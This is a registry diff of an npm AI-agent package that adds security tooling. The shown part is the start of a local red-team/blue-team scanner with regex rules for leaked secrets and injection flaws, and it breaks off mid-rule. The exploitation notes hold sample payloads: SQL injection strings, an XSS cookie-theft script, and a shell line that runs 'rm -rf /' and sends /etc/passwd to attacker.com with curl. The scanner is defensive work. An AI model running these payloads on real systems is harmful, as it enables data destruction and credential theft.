@kernel.chat/kbot 3.57.0 → 3.58.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +4 -4
- package/dist/agents/replit.js +1 -1
- package/dist/bootstrap.js +1 -1
- package/dist/integrations/ableton-live.d.ts +52 -0
- package/dist/integrations/ableton-live.d.ts.map +1 -0
- package/dist/integrations/ableton-live.js +239 -0
- package/dist/integrations/ableton-live.js.map +1 -0
- package/dist/integrations/ableton-osc-installer.d.ts +13 -0
- package/dist/integrations/ableton-osc-installer.d.ts.map +1 -0
- package/dist/integrations/ableton-osc-installer.js +190 -0
- package/dist/integrations/ableton-osc-installer.js.map +1 -0
- package/dist/tools/ctf.d.ts +2 -0
- package/dist/tools/ctf.d.ts.map +1 -0
- package/dist/tools/ctf.js +2968 -0
- package/dist/tools/ctf.js.map +1 -0
- package/dist/tools/hacker-toolkit.d.ts +2 -0
- package/dist/tools/hacker-toolkit.d.ts.map +1 -0
- package/dist/tools/hacker-toolkit.js +3697 -0
- package/dist/tools/hacker-toolkit.js.map +1 -0
- package/dist/tools/index.d.ts.map +1 -1
- package/dist/tools/index.js +5 -0
- package/dist/tools/index.js.map +1 -1
- package/dist/tools/pentest.d.ts +2 -0
- package/dist/tools/pentest.d.ts.map +1 -0
- package/dist/tools/pentest.js +2225 -0
- package/dist/tools/pentest.js.map +1 -0
- package/dist/tools/redblue.d.ts +2 -0
- package/dist/tools/redblue.d.ts.map +1 -0
- package/dist/tools/redblue.js +3468 -0
- package/dist/tools/redblue.js.map +1 -0
- package/dist/tools/security-brain.d.ts +2 -0
- package/dist/tools/security-brain.d.ts.map +1 -0
- package/dist/tools/security-brain.js +2453 -0
- package/dist/tools/security-brain.js.map +1 -0
- package/dist/tools/serum2-preset.d.ts +11 -0
- package/dist/tools/serum2-preset.d.ts.map +1 -0
- package/dist/tools/serum2-preset.js +143 -0
- package/dist/tools/serum2-preset.js.map +1 -0
- package/package.json +2 -2
|
@@ -0,0 +1,3468 @@
|
|
|
1
|
+
// kbot Red Team / Blue Team — Adversarial Security Simulation Tools
|
|
2
|
+
// Red team: attack surface analysis, vulnerability scanning, exploitation scenarios
|
|
3
|
+
// Blue team: hardening recommendations, security checklists, threat modeling
|
|
4
|
+
// All operations are local — zero API calls, zero network access.
|
|
5
|
+
// Reads source files and pattern-matches for real vulnerabilities.
|
|
6
|
+
import { registerTool } from './index.js';
|
|
7
|
+
import { homedir } from 'node:os';
|
|
8
|
+
import { join, resolve, relative, extname } from 'node:path';
|
|
9
|
+
import { existsSync, readFileSync, readdirSync, statSync } from 'node:fs';
|
|
10
|
+
// ── Constants ──────────────────────────────────────────────────────────────────
|
|
11
|
+
const SEVERITY_SCORE = {
|
|
12
|
+
critical: 10,
|
|
13
|
+
high: 7,
|
|
14
|
+
medium: 4,
|
|
15
|
+
low: 1,
|
|
16
|
+
info: 0,
|
|
17
|
+
};
|
|
18
|
+
const SEVERITY_COLORS = {
|
|
19
|
+
critical: '\u{1F534}',
|
|
20
|
+
high: '\u{1F7E0}',
|
|
21
|
+
medium: '\u{1F7E1}',
|
|
22
|
+
low: '\u{1F535}',
|
|
23
|
+
info: '\u{26AA}',
|
|
24
|
+
};
|
|
25
|
+
const SOURCE_EXTENSIONS = new Set([
|
|
26
|
+
'.ts', '.js', '.tsx', '.jsx', '.py', '.rb', '.go', '.java',
|
|
27
|
+
'.php', '.rs', '.c', '.cpp', '.cs', '.mjs', '.cjs', '.vue',
|
|
28
|
+
'.svelte', '.astro', '.sh', '.bash', '.zsh', '.yaml', '.yml',
|
|
29
|
+
'.json', '.toml', '.ini', '.cfg', '.conf', '.env', '.xml',
|
|
30
|
+
'.html', '.htm', '.sql', '.graphql', '.gql', '.proto',
|
|
31
|
+
'.dockerfile', '.tf', '.hcl',
|
|
32
|
+
]);
|
|
33
|
+
const SKIP_DIRS = new Set([
|
|
34
|
+
'node_modules', '.git', 'dist', 'build', 'vendor', '.next',
|
|
35
|
+
'__pycache__', '.mypy_cache', '.pytest_cache', 'target', 'out',
|
|
36
|
+
'.gradle', '.idea', '.vscode', 'coverage', '.nyc_output',
|
|
37
|
+
'.turbo', '.vercel', '.netlify', 'venv', '.venv', 'env',
|
|
38
|
+
'.tox', 'bower_components', 'jspm_packages', '.cache',
|
|
39
|
+
'.parcel-cache', '.svelte-kit', '.nuxt', '.output',
|
|
40
|
+
]);
|
|
41
|
+
// Maximum files to scan to prevent hanging on huge repos
|
|
42
|
+
const MAX_FILES_QUICK = 200;
|
|
43
|
+
const MAX_FILES_STANDARD = 1000;
|
|
44
|
+
const MAX_FILES_DEEP = 5000;
|
|
45
|
+
// ── File Discovery ─────────────────────────────────────────────────────────────
|
|
46
|
+
function resolvePath(p) {
|
|
47
|
+
if (p.startsWith('~/') || p === '~') {
|
|
48
|
+
return resolve(homedir(), p.slice(2) || '.');
|
|
49
|
+
}
|
|
50
|
+
return resolve(p);
|
|
51
|
+
}
|
|
52
|
+
function collectFiles(dir, maxFiles) {
|
|
53
|
+
const files = [];
|
|
54
|
+
const visited = new Set();
|
|
55
|
+
function walk(currentDir, depth) {
|
|
56
|
+
if (files.length >= maxFiles || depth > 15)
|
|
57
|
+
return;
|
|
58
|
+
if (visited.has(currentDir))
|
|
59
|
+
return;
|
|
60
|
+
visited.add(currentDir);
|
|
61
|
+
let entries;
|
|
62
|
+
try {
|
|
63
|
+
entries = readdirSync(currentDir);
|
|
64
|
+
}
|
|
65
|
+
catch {
|
|
66
|
+
return;
|
|
67
|
+
}
|
|
68
|
+
for (const entry of entries) {
|
|
69
|
+
if (files.length >= maxFiles)
|
|
70
|
+
return;
|
|
71
|
+
const fullPath = join(currentDir, entry);
|
|
72
|
+
let stat;
|
|
73
|
+
try {
|
|
74
|
+
stat = statSync(fullPath);
|
|
75
|
+
}
|
|
76
|
+
catch {
|
|
77
|
+
continue;
|
|
78
|
+
}
|
|
79
|
+
if (stat.isDirectory()) {
|
|
80
|
+
if (!SKIP_DIRS.has(entry) && !entry.startsWith('.')) {
|
|
81
|
+
walk(fullPath, depth + 1);
|
|
82
|
+
}
|
|
83
|
+
// Also check dotfiles directories that could have secrets
|
|
84
|
+
if (entry === '.env' || entry === '.aws' || entry === '.ssh') {
|
|
85
|
+
walk(fullPath, depth + 1);
|
|
86
|
+
}
|
|
87
|
+
continue;
|
|
88
|
+
}
|
|
89
|
+
if (!stat.isFile())
|
|
90
|
+
continue;
|
|
91
|
+
const ext = extname(entry).toLowerCase();
|
|
92
|
+
const basename = entry.toLowerCase();
|
|
93
|
+
// Always include these files regardless of extension
|
|
94
|
+
const alwaysInclude = [
|
|
95
|
+
'.env', '.env.local', '.env.development', '.env.production',
|
|
96
|
+
'.env.staging', '.env.test', '.htaccess', '.htpasswd',
|
|
97
|
+
'dockerfile', 'docker-compose.yml', 'docker-compose.yaml',
|
|
98
|
+
'Makefile', 'Rakefile', 'Gemfile', 'requirements.txt',
|
|
99
|
+
'package.json', 'tsconfig.json', 'webpack.config.js',
|
|
100
|
+
'vite.config.ts', 'vite.config.js', 'next.config.js',
|
|
101
|
+
'next.config.mjs', '.npmrc', '.yarnrc', '.babelrc',
|
|
102
|
+
'jest.config.ts', 'jest.config.js', 'vitest.config.ts',
|
|
103
|
+
'nginx.conf', 'apache.conf', 'httpd.conf',
|
|
104
|
+
];
|
|
105
|
+
if (!SOURCE_EXTENSIONS.has(ext) && !alwaysInclude.includes(basename))
|
|
106
|
+
continue;
|
|
107
|
+
// Skip large files (> 500KB)
|
|
108
|
+
if (stat.size > 500_000)
|
|
109
|
+
continue;
|
|
110
|
+
try {
|
|
111
|
+
const content = readFileSync(fullPath, 'utf-8');
|
|
112
|
+
// Skip binary files
|
|
113
|
+
if (content.includes('\0'))
|
|
114
|
+
continue;
|
|
115
|
+
files.push({
|
|
116
|
+
path: fullPath,
|
|
117
|
+
content,
|
|
118
|
+
lines: content.split('\n'),
|
|
119
|
+
ext,
|
|
120
|
+
});
|
|
121
|
+
}
|
|
122
|
+
catch {
|
|
123
|
+
continue;
|
|
124
|
+
}
|
|
125
|
+
}
|
|
126
|
+
}
|
|
127
|
+
walk(dir, 0);
|
|
128
|
+
return files;
|
|
129
|
+
}
|
|
130
|
+
const SECRET_PATTERNS = [
|
|
131
|
+
// API Keys — Provider-specific
|
|
132
|
+
{
|
|
133
|
+
name: 'Anthropic API Key',
|
|
134
|
+
pattern: /sk-ant-[a-zA-Z0-9_-]{20,}/g,
|
|
135
|
+
severity: 'critical',
|
|
136
|
+
cwe: 'CWE-798',
|
|
137
|
+
description: 'Anthropic API key leaked in source code',
|
|
138
|
+
},
|
|
139
|
+
{
|
|
140
|
+
name: 'OpenAI API Key',
|
|
141
|
+
pattern: /sk-[a-zA-Z0-9]{20,}/g,
|
|
142
|
+
severity: 'critical',
|
|
143
|
+
cwe: 'CWE-798',
|
|
144
|
+
description: 'OpenAI API key leaked in source code',
|
|
145
|
+
},
|
|
146
|
+
{
|
|
147
|
+
name: 'Stripe Secret Key',
|
|
148
|
+
pattern: /sk_live_[a-zA-Z0-9]{20,}/g,
|
|
149
|
+
severity: 'critical',
|
|
150
|
+
cwe: 'CWE-798',
|
|
151
|
+
description: 'Stripe live secret key leaked in source code',
|
|
152
|
+
},
|
|
153
|
+
{
|
|
154
|
+
name: 'Stripe Publishable Key (live)',
|
|
155
|
+
pattern: /pk_live_[a-zA-Z0-9]{20,}/g,
|
|
156
|
+
severity: 'medium',
|
|
157
|
+
cwe: 'CWE-798',
|
|
158
|
+
description: 'Stripe live publishable key in source code (less sensitive but still notable)',
|
|
159
|
+
},
|
|
160
|
+
{
|
|
161
|
+
name: 'AWS Access Key',
|
|
162
|
+
pattern: /AKIA[0-9A-Z]{16}/g,
|
|
163
|
+
severity: 'critical',
|
|
164
|
+
cwe: 'CWE-798',
|
|
165
|
+
description: 'AWS access key ID found in source code',
|
|
166
|
+
},
|
|
167
|
+
{
|
|
168
|
+
name: 'AWS Secret Key',
|
|
169
|
+
pattern: /(?:aws_secret_access_key|AWS_SECRET_ACCESS_KEY)\s*[=:]\s*['"]?([A-Za-z0-9/+=]{40})['"]?/g,
|
|
170
|
+
severity: 'critical',
|
|
171
|
+
cwe: 'CWE-798',
|
|
172
|
+
description: 'AWS secret access key found in source code',
|
|
173
|
+
},
|
|
174
|
+
{
|
|
175
|
+
name: 'GitHub Personal Access Token',
|
|
176
|
+
pattern: /ghp_[a-zA-Z0-9]{36}/g,
|
|
177
|
+
severity: 'critical',
|
|
178
|
+
cwe: 'CWE-798',
|
|
179
|
+
description: 'GitHub personal access token found in source code',
|
|
180
|
+
},
|
|
181
|
+
{
|
|
182
|
+
name: 'GitHub OAuth Token',
|
|
183
|
+
pattern: /gho_[a-zA-Z0-9]{36}/g,
|
|
184
|
+
severity: 'critical',
|
|
185
|
+
cwe: 'CWE-798',
|
|
186
|
+
description: 'GitHub OAuth access token found in source code',
|
|
187
|
+
},
|
|
188
|
+
{
|
|
189
|
+
name: 'GitHub Fine-Grained PAT',
|
|
190
|
+
pattern: /github_pat_[a-zA-Z0-9_]{22,}/g,
|
|
191
|
+
severity: 'critical',
|
|
192
|
+
cwe: 'CWE-798',
|
|
193
|
+
description: 'GitHub fine-grained personal access token found in source code',
|
|
194
|
+
},
|
|
195
|
+
{
|
|
196
|
+
name: 'Slack Bot Token',
|
|
197
|
+
pattern: /xoxb-[0-9]{10,}-[0-9]{10,}-[a-zA-Z0-9]{20,}/g,
|
|
198
|
+
severity: 'critical',
|
|
199
|
+
cwe: 'CWE-798',
|
|
200
|
+
description: 'Slack bot token found in source code',
|
|
201
|
+
},
|
|
202
|
+
{
|
|
203
|
+
name: 'Slack User Token',
|
|
204
|
+
pattern: /xoxp-[0-9]{10,}-[0-9]{10,}-[a-zA-Z0-9]{20,}/g,
|
|
205
|
+
severity: 'critical',
|
|
206
|
+
cwe: 'CWE-798',
|
|
207
|
+
description: 'Slack user token found in source code',
|
|
208
|
+
},
|
|
209
|
+
{
|
|
210
|
+
name: 'Google API Key',
|
|
211
|
+
pattern: /AIza[0-9A-Za-z\-_]{35}/g,
|
|
212
|
+
severity: 'high',
|
|
213
|
+
cwe: 'CWE-798',
|
|
214
|
+
description: 'Google API key found in source code',
|
|
215
|
+
},
|
|
216
|
+
{
|
|
217
|
+
name: 'Google OAuth Client Secret',
|
|
218
|
+
pattern: /(?:client_secret|CLIENT_SECRET)\s*[=:]\s*['"]?([A-Za-z0-9_-]{24,})['"]?/g,
|
|
219
|
+
severity: 'high',
|
|
220
|
+
cwe: 'CWE-798',
|
|
221
|
+
description: 'Google OAuth client secret found in source code',
|
|
222
|
+
},
|
|
223
|
+
{
|
|
224
|
+
name: 'Twilio Auth Token',
|
|
225
|
+
pattern: /(?:TWILIO_AUTH_TOKEN|twilio_auth_token)\s*[=:]\s*['"]?([a-f0-9]{32})['"]?/g,
|
|
226
|
+
severity: 'critical',
|
|
227
|
+
cwe: 'CWE-798',
|
|
228
|
+
description: 'Twilio auth token found in source code',
|
|
229
|
+
},
|
|
230
|
+
{
|
|
231
|
+
name: 'SendGrid API Key',
|
|
232
|
+
pattern: /SG\.[a-zA-Z0-9_-]{22}\.[a-zA-Z0-9_-]{43}/g,
|
|
233
|
+
severity: 'critical',
|
|
234
|
+
cwe: 'CWE-798',
|
|
235
|
+
description: 'SendGrid API key found in source code',
|
|
236
|
+
},
|
|
237
|
+
{
|
|
238
|
+
name: 'Mailgun API Key',
|
|
239
|
+
pattern: /key-[a-zA-Z0-9]{32}/g,
|
|
240
|
+
severity: 'high',
|
|
241
|
+
cwe: 'CWE-798',
|
|
242
|
+
description: 'Mailgun API key found in source code',
|
|
243
|
+
},
|
|
244
|
+
{
|
|
245
|
+
name: 'Discord Bot Token',
|
|
246
|
+
pattern: /(?:discord|DISCORD)[\w]*(?:token|TOKEN)\s*[=:]\s*['"]?([A-Za-z0-9._-]{59,})['"]?/g,
|
|
247
|
+
severity: 'critical',
|
|
248
|
+
cwe: 'CWE-798',
|
|
249
|
+
description: 'Discord bot token found in source code',
|
|
250
|
+
},
|
|
251
|
+
{
|
|
252
|
+
name: 'Heroku API Key',
|
|
253
|
+
pattern: /(?:HEROKU_API_KEY|heroku_api_key)\s*[=:]\s*['"]?([a-f0-9-]{36,})['"]?/g,
|
|
254
|
+
severity: 'high',
|
|
255
|
+
cwe: 'CWE-798',
|
|
256
|
+
description: 'Heroku API key found in source code',
|
|
257
|
+
},
|
|
258
|
+
{
|
|
259
|
+
name: 'Supabase Service Key',
|
|
260
|
+
pattern: /(?:SUPABASE_SERVICE_KEY|supabase_service_key|service_role_key)\s*[=:]\s*['"]?(eyJ[a-zA-Z0-9_-]+\.eyJ[a-zA-Z0-9_-]+\.[a-zA-Z0-9_-]+)['"]?/g,
|
|
261
|
+
severity: 'critical',
|
|
262
|
+
cwe: 'CWE-798',
|
|
263
|
+
description: 'Supabase service role key found in source code (full DB access)',
|
|
264
|
+
},
|
|
265
|
+
{
|
|
266
|
+
name: 'Firebase Private Key',
|
|
267
|
+
pattern: /(?:FIREBASE_PRIVATE_KEY|private_key)\s*[=:]\s*['"]?-----BEGIN (?:RSA )?PRIVATE KEY-----/g,
|
|
268
|
+
severity: 'critical',
|
|
269
|
+
cwe: 'CWE-798',
|
|
270
|
+
description: 'Firebase private key found in source code',
|
|
271
|
+
},
|
|
272
|
+
// Generic Secrets
|
|
273
|
+
{
|
|
274
|
+
name: 'Hardcoded Password',
|
|
275
|
+
pattern: /(?:password|passwd|pass|pwd)\s*[=:]\s*['"][^'"]{4,}['"]/gi,
|
|
276
|
+
severity: 'high',
|
|
277
|
+
cwe: 'CWE-798',
|
|
278
|
+
description: 'Hardcoded password found in source code',
|
|
279
|
+
},
|
|
280
|
+
{
|
|
281
|
+
name: 'Hardcoded Secret',
|
|
282
|
+
pattern: /(?:secret|SECRET)\s*[=:]\s*['"][^'"]{8,}['"]/g,
|
|
283
|
+
severity: 'high',
|
|
284
|
+
cwe: 'CWE-798',
|
|
285
|
+
description: 'Hardcoded secret value found in source code',
|
|
286
|
+
},
|
|
287
|
+
{
|
|
288
|
+
name: 'Hardcoded Token',
|
|
289
|
+
pattern: /(?:token|TOKEN|api_key|API_KEY|apiKey|apikey)\s*[=:]\s*['"][^'"]{10,}['"]/g,
|
|
290
|
+
severity: 'high',
|
|
291
|
+
cwe: 'CWE-798',
|
|
292
|
+
description: 'Hardcoded API token or key found in source code',
|
|
293
|
+
},
|
|
294
|
+
{
|
|
295
|
+
name: 'Hardcoded Credential',
|
|
296
|
+
pattern: /(?:credential|credentials|auth_token|access_token|refresh_token)\s*[=:]\s*['"][^'"]{8,}['"]/gi,
|
|
297
|
+
severity: 'high',
|
|
298
|
+
cwe: 'CWE-798',
|
|
299
|
+
description: 'Hardcoded credential found in source code',
|
|
300
|
+
},
|
|
301
|
+
// Private Keys
|
|
302
|
+
{
|
|
303
|
+
name: 'RSA Private Key',
|
|
304
|
+
pattern: /-----BEGIN RSA PRIVATE KEY-----/g,
|
|
305
|
+
severity: 'critical',
|
|
306
|
+
cwe: 'CWE-321',
|
|
307
|
+
description: 'RSA private key found in source code',
|
|
308
|
+
},
|
|
309
|
+
{
|
|
310
|
+
name: 'OpenSSH Private Key',
|
|
311
|
+
pattern: /-----BEGIN OPENSSH PRIVATE KEY-----/g,
|
|
312
|
+
severity: 'critical',
|
|
313
|
+
cwe: 'CWE-321',
|
|
314
|
+
description: 'OpenSSH private key found in source code',
|
|
315
|
+
},
|
|
316
|
+
{
|
|
317
|
+
name: 'EC Private Key',
|
|
318
|
+
pattern: /-----BEGIN EC PRIVATE KEY-----/g,
|
|
319
|
+
severity: 'critical',
|
|
320
|
+
cwe: 'CWE-321',
|
|
321
|
+
description: 'EC private key found in source code',
|
|
322
|
+
},
|
|
323
|
+
{
|
|
324
|
+
name: 'PGP Private Key',
|
|
325
|
+
pattern: /-----BEGIN PGP PRIVATE KEY BLOCK-----/g,
|
|
326
|
+
severity: 'critical',
|
|
327
|
+
cwe: 'CWE-321',
|
|
328
|
+
description: 'PGP private key found in source code',
|
|
329
|
+
},
|
|
330
|
+
{
|
|
331
|
+
name: 'Generic Private Key',
|
|
332
|
+
pattern: /-----BEGIN PRIVATE KEY-----/g,
|
|
333
|
+
severity: 'critical',
|
|
334
|
+
cwe: 'CWE-321',
|
|
335
|
+
description: 'Private key found in source code',
|
|
336
|
+
},
|
|
337
|
+
// Connection Strings
|
|
338
|
+
{
|
|
339
|
+
name: 'MongoDB Connection String',
|
|
340
|
+
pattern: /mongodb(?:\+srv)?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
|
|
341
|
+
severity: 'critical',
|
|
342
|
+
cwe: 'CWE-798',
|
|
343
|
+
description: 'MongoDB connection string with credentials found in source code',
|
|
344
|
+
},
|
|
345
|
+
{
|
|
346
|
+
name: 'PostgreSQL Connection String',
|
|
347
|
+
pattern: /postgres(?:ql)?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
|
|
348
|
+
severity: 'critical',
|
|
349
|
+
cwe: 'CWE-798',
|
|
350
|
+
description: 'PostgreSQL connection string with credentials found in source code',
|
|
351
|
+
},
|
|
352
|
+
{
|
|
353
|
+
name: 'MySQL Connection String',
|
|
354
|
+
pattern: /mysql:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
|
|
355
|
+
severity: 'critical',
|
|
356
|
+
cwe: 'CWE-798',
|
|
357
|
+
description: 'MySQL connection string with credentials found in source code',
|
|
358
|
+
},
|
|
359
|
+
{
|
|
360
|
+
name: 'Redis Connection String',
|
|
361
|
+
pattern: /redis:\/\/[^@\s]*:[^@\s]+@[a-zA-Z0-9._-]+/g,
|
|
362
|
+
severity: 'high',
|
|
363
|
+
cwe: 'CWE-798',
|
|
364
|
+
description: 'Redis connection string with credentials found in source code',
|
|
365
|
+
},
|
|
366
|
+
{
|
|
367
|
+
name: 'AMQP Connection String',
|
|
368
|
+
pattern: /amqps?:\/\/[a-zA-Z0-9._-]+:[^@\s]+@[a-zA-Z0-9._-]+/g,
|
|
369
|
+
severity: 'high',
|
|
370
|
+
cwe: 'CWE-798',
|
|
371
|
+
description: 'AMQP/RabbitMQ connection string with credentials found in source code',
|
|
372
|
+
},
|
|
373
|
+
// JWT tokens
|
|
374
|
+
{
|
|
375
|
+
name: 'JWT Token (hardcoded)',
|
|
376
|
+
pattern: /['"]eyJ[a-zA-Z0-9_-]{10,}\.eyJ[a-zA-Z0-9_-]{10,}\.[a-zA-Z0-9_-]{10,}['"]/g,
|
|
377
|
+
severity: 'high',
|
|
378
|
+
cwe: 'CWE-798',
|
|
379
|
+
description: 'Hardcoded JWT token found in source code',
|
|
380
|
+
},
|
|
381
|
+
// .env file committed
|
|
382
|
+
{
|
|
383
|
+
name: 'Env File in Source',
|
|
384
|
+
pattern: /^[A-Z_]+=.{10,}$/gm,
|
|
385
|
+
severity: 'medium',
|
|
386
|
+
cwe: 'CWE-798',
|
|
387
|
+
description: 'Potential environment variable with secret value',
|
|
388
|
+
},
|
|
389
|
+
];
|
|
390
|
+
const INJECTION_PATTERNS = [
|
|
391
|
+
// SQL Injection
|
|
392
|
+
{
|
|
393
|
+
name: 'SQL String Concatenation',
|
|
394
|
+
category: 'SQL Injection',
|
|
395
|
+
pattern: /(?:query|execute|sql|sequelize\.query|knex\.raw|prisma\.\$queryRaw)\s*\(\s*['"`]?\s*(?:SELECT|INSERT|UPDATE|DELETE|DROP|ALTER|CREATE|EXEC|UNION)\b[^)]*\+/gi,
|
|
396
|
+
severity: 'critical',
|
|
397
|
+
cwe: 'CWE-89',
|
|
398
|
+
description: 'SQL query built with string concatenation — direct SQL injection vector',
|
|
399
|
+
exploitation: 'Attacker injects SQL via concatenated input: " OR 1=1 --" to extract all records, or "; DROP TABLE users --" for data destruction',
|
|
400
|
+
},
|
|
401
|
+
{
|
|
402
|
+
name: 'SQL Template Literal with Variable',
|
|
403
|
+
category: 'SQL Injection',
|
|
404
|
+
pattern: /(?:query|execute|sql|sequelize\.query|knex\.raw|prisma\.\$queryRawUnsafe)\s*\(\s*`[^`]*\$\{[^}]*(?:req\.|params\.|query\.|body\.|args\.|input|user)[^}]*\}[^`]*`/gi,
|
|
405
|
+
severity: 'critical',
|
|
406
|
+
cwe: 'CWE-89',
|
|
407
|
+
description: 'SQL query built with template literal containing user input',
|
|
408
|
+
exploitation: 'Template literals are NOT parameterized — attacker can inject SQL through interpolated variables',
|
|
409
|
+
},
|
|
410
|
+
{
|
|
411
|
+
name: 'Raw SQL with Format String',
|
|
412
|
+
category: 'SQL Injection',
|
|
413
|
+
pattern: /(?:format|sprintf|f['"])\s*(?:.*?)(?:SELECT|INSERT|UPDATE|DELETE|DROP)/gi,
|
|
414
|
+
severity: 'critical',
|
|
415
|
+
cwe: 'CWE-89',
|
|
416
|
+
description: 'SQL query built with format strings',
|
|
417
|
+
exploitation: 'Format strings in SQL queries allow injection through format parameters',
|
|
418
|
+
},
|
|
419
|
+
{
|
|
420
|
+
name: 'NoSQL Injection ($where)',
|
|
421
|
+
category: 'NoSQL Injection',
|
|
422
|
+
pattern: /\$where\s*:\s*.*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
423
|
+
severity: 'critical',
|
|
424
|
+
cwe: 'CWE-943',
|
|
425
|
+
description: 'MongoDB $where operator with user input allows arbitrary JavaScript execution',
|
|
426
|
+
exploitation: 'Attacker sends {$where: "this.password == \'x\' || true"} to bypass auth or exfiltrate data',
|
|
427
|
+
},
|
|
428
|
+
{
|
|
429
|
+
name: 'NoSQL Injection ($regex)',
|
|
430
|
+
category: 'NoSQL Injection',
|
|
431
|
+
pattern: /\$regex\s*:\s*.*(?:req\.|params\.|query\.|body\.|args\.|input|user)/gi,
|
|
432
|
+
severity: 'high',
|
|
433
|
+
cwe: 'CWE-943',
|
|
434
|
+
description: 'MongoDB $regex with user input — can cause ReDoS or data leak',
|
|
435
|
+
exploitation: 'Attacker crafts malicious regex for denial of service or substring extraction via timing attack',
|
|
436
|
+
},
|
|
437
|
+
// XSS
|
|
438
|
+
{
|
|
439
|
+
name: 'innerHTML Assignment',
|
|
440
|
+
category: 'XSS',
|
|
441
|
+
pattern: /\.innerHTML\s*=\s*(?!['"]<(?:br|hr|div|span|p)\s*\/?>['"])/g,
|
|
442
|
+
severity: 'high',
|
|
443
|
+
cwe: 'CWE-79',
|
|
444
|
+
description: 'Direct innerHTML assignment — XSS vector if user-controlled',
|
|
445
|
+
exploitation: 'Attacker injects <script>alert(document.cookie)</script> or <img onerror=...> to steal session tokens',
|
|
446
|
+
},
|
|
447
|
+
{
|
|
448
|
+
name: 'dangerouslySetInnerHTML',
|
|
449
|
+
category: 'XSS',
|
|
450
|
+
pattern: /dangerouslySetInnerHTML\s*=\s*\{\s*\{\s*__html\s*:/g,
|
|
451
|
+
severity: 'high',
|
|
452
|
+
cwe: 'CWE-79',
|
|
453
|
+
description: 'React dangerouslySetInnerHTML — XSS vector if content is user-controlled',
|
|
454
|
+
exploitation: 'Bypasses React XSS protection — attacker injects malicious HTML/JS into rendered content',
|
|
455
|
+
},
|
|
456
|
+
{
|
|
457
|
+
name: 'document.write',
|
|
458
|
+
category: 'XSS',
|
|
459
|
+
pattern: /document\.write\s*\(/g,
|
|
460
|
+
severity: 'high',
|
|
461
|
+
cwe: 'CWE-79',
|
|
462
|
+
description: 'document.write usage — DOM-based XSS vector',
|
|
463
|
+
exploitation: 'Attacker controls input to document.write, injecting arbitrary HTML/JS into the page',
|
|
464
|
+
},
|
|
465
|
+
{
|
|
466
|
+
name: 'eval() Usage',
|
|
467
|
+
category: 'Code Injection',
|
|
468
|
+
pattern: /(?<!\w)eval\s*\(/g,
|
|
469
|
+
severity: 'critical',
|
|
470
|
+
cwe: 'CWE-95',
|
|
471
|
+
description: 'eval() allows arbitrary code execution',
|
|
472
|
+
exploitation: 'Attacker injects malicious JavaScript through eval input — full RCE in Node.js, session hijack in browser',
|
|
473
|
+
},
|
|
474
|
+
{
|
|
475
|
+
name: 'Function() Constructor',
|
|
476
|
+
category: 'Code Injection',
|
|
477
|
+
pattern: /new\s+Function\s*\(/g,
|
|
478
|
+
severity: 'critical',
|
|
479
|
+
cwe: 'CWE-95',
|
|
480
|
+
description: 'Function constructor allows arbitrary code execution (equivalent to eval)',
|
|
481
|
+
exploitation: 'new Function("return " + userInput)() allows arbitrary code execution',
|
|
482
|
+
},
|
|
483
|
+
{
|
|
484
|
+
name: 'setTimeout/setInterval with String',
|
|
485
|
+
category: 'Code Injection',
|
|
486
|
+
pattern: /(?:setTimeout|setInterval)\s*\(\s*['"`]/g,
|
|
487
|
+
severity: 'medium',
|
|
488
|
+
cwe: 'CWE-95',
|
|
489
|
+
description: 'setTimeout/setInterval with string argument acts like eval',
|
|
490
|
+
exploitation: 'String argument to setTimeout is evaluated as code — injection point if user-controlled',
|
|
491
|
+
},
|
|
492
|
+
{
|
|
493
|
+
name: 'jQuery .html() with Variable',
|
|
494
|
+
category: 'XSS',
|
|
495
|
+
pattern: /\.html\s*\(\s*(?!['"])[a-zA-Z$_]/g,
|
|
496
|
+
severity: 'high',
|
|
497
|
+
cwe: 'CWE-79',
|
|
498
|
+
description: 'jQuery .html() with variable — XSS if user-controlled',
|
|
499
|
+
exploitation: 'Attacker injects HTML/JS through variable passed to jQuery .html()',
|
|
500
|
+
},
|
|
501
|
+
{
|
|
502
|
+
name: 'Unescaped Template Output',
|
|
503
|
+
category: 'XSS',
|
|
504
|
+
pattern: /\{\{\{[^}]*\}\}\}|<%[-=]?\s*(?!-)/g,
|
|
505
|
+
severity: 'medium',
|
|
506
|
+
cwe: 'CWE-79',
|
|
507
|
+
description: 'Unescaped template output (Handlebars {{{}}}, ERB <%=)',
|
|
508
|
+
exploitation: 'Unescaped template rendering allows XSS if variable contains user input',
|
|
509
|
+
},
|
|
510
|
+
// Command Injection
|
|
511
|
+
{
|
|
512
|
+
name: 'exec() with Variable',
|
|
513
|
+
category: 'Command Injection',
|
|
514
|
+
pattern: /(?:exec|execSync)\s*\(\s*(?\b)[^)]*(?:req\.|params\.|query\.|body\.|args\.|input|user|\$\{|\+\s*[a-zA-Z])/gi,
|
|
515
|
+
severity: 'critical',
|
|
516
|
+
cwe: 'CWE-78',
|
|
517
|
+
description: 'Shell command execution with user-controlled input',
|
|
518
|
+
exploitation: 'Attacker injects shell commands: input = "; rm -rf / #" or "`curl attacker.com/steal?d=$(cat /etc/passwd)`"',
|
|
519
|
+
},
|
|
520
|
+
{
|
|
521
|
+
name: 'spawn() with User Input',
|
|
522
|
+
category: 'Command Injection',
|
|
523
|
+
pattern: /(?:spawn|spawnSync|fork)\s*\(\s*(?:[^,)]*(?:req\.|params\.|query\.|body\.|args\.|input|user))/gi,
|
|
524
|
+
severity: 'critical',
|
|
525
|
+
cwe: 'CWE-78',
|
|
526
|
+
description: 'Process spawn with user-controlled command or arguments',
|
|
527
|
+
exploitation: 'Attacker controls command arguments to execute arbitrary programs or read files',
|
|
528
|
+
},
|
|
529
|
+
{
|
|
530
|
+
name: 'child_process with Template Literal',
|
|
531
|
+
category: 'Command Injection',
|
|
532
|
+
pattern: /(?:exec|execSync|execFile|execFileSync)\s*\(\s*`[^`]*\$\{/g,
|
|
533
|
+
severity: 'high',
|
|
534
|
+
cwe: 'CWE-78',
|
|
535
|
+
description: 'Shell command built with template literal interpolation',
|
|
536
|
+
exploitation: 'Template literals in shell commands allow command injection via interpolated variables',
|
|
537
|
+
},
|
|
538
|
+
{
|
|
539
|
+
name: 'subprocess.run (Python)',
|
|
540
|
+
